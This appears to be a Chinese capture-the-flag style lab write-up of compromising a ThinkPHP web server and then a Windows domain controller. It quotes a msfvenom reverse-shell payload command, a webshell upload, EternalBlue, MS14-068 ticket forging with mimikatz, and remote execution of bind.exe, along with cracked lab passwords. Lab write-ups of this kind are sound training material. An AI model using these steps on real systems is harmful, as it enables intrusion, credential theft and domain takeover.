【内网渗透】一次简单内网靶场渗透

本次内网网络拓扑图如下所示,首先将 WEB 的 IP 192.168.0.150
改为192.168.0.3
。

(一)测试过程
信息收集:
1. 对目标 IP 进行端口扫描。

2.绑定hosts 192.168.0.3 www.webhack123.com
,访问网站首页出现一个 thinkphp 框架。

3.对网站进行目录扫描。

4.存在 wc.db 将其下载下来,使用工具打开,里面存在网站目录文件信息,查看网站目录信息后,可以了解网站的基本架构。

①网络安全学习路线
②20 份渗透测试电子书
③安全攻防 357 页笔记
④50 份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100 个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年 CTF 夺旗赛题解析
(二)检测过程
通过前面的信息搜集,已经知道当前网站是 thinkphp 框架了,使用工具扫描一下常见的漏洞,发现存在日志泄漏。
2.在日志中泄漏了账号和密码的密文。
账号:admin 密文:74c774ef39b5b977c1fd59dbfc73c3e380a65aa3

3.通过解密获取密码明文 web123。

4.前面对网站进行目录扫描,未发现网站管理后台,因此使用脚本来绑定 hosts 碰撞管理后台的子域名。

5. admin.webhack123.com 就是网站的管理后台。

6.使用前面获取的管理员账号密码进行登录,可以测试发现验证码是存在缺陷,也可以使用大字典来爆破出管理员的密码。

7.进入网站后台,修改允许上传的类型,上传一句话木马。

8.使用蚁剑连接获取 webshell。

在当前主机先进行简单的信息搜集,当前用户为 administrator 且主机未安装杀软,存在双网卡 192.168.0.0/24 10.10.10.0/24,存在域环境。
生成攻击载荷先上线 msf:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.2 LPORT=9999 -f exe>haha.exe

10.迁移进程获取明文密码。

11.获取登录过当前主机的用户信息。
run post/windows/gather/enum_logged_on_users

可以看到存在 hackbox 域的域用户 web,本地管理员 Administrator 的密码为:!@#Qwe456
前面我们已经知道存在域环境,现在定位到域控为:dc.hackbox.com 10.10.10.149。

(三)域渗透过程
前面知道该主机存在两个网卡,现在来对这两个网段的存活主机进行扫描,首先添加:

对内网存活主机进行扫描,只存在 10.10.10.149,也就是域控,且开放了 445 端口。
3.使用永恒之蓝试打,检测出存在永恒之蓝漏洞。

4. 反向 shell 失败原因未明,正向的 shell 是可以成功返回一个 meterpreter,成功获取域控 dc 权限。

5. 测试使用 MS14-068 漏洞:使用这个 exp 需要一个普通域控用户, web 是域用户,但不知道密码。前面获取到用户 Administrator 的密码为!@#Qwe456,现尝试使用用户 web 和这个密码进行登录。

6.登录失败,但是密码应该是正确的,只是不是远程组。

7. #创建票据
#清理票据

8.上传 mimikatz 注入票据 mimikatz # kerberos::ptc

9.查看票据 klist。

10.成功访问 dc 域控。

11.现在来获取域控权限,生成一个正向的载荷:
copy 命令复制到域控 copy bind.exe \dc\c$。

12. at 命令执行计划任务运行 bind.exe

13.成功获取域控权限。

14.迁移进程抓取明文密码。

15.至此已经拿下了域控的权限。

16.迁移到域管理员进程查看三个 flag。

(四)总结
通过此次内网靶场测试,能加深对内网系统的认识,熟练掌握如何使用 MSF 完成整个打靶过程。
评论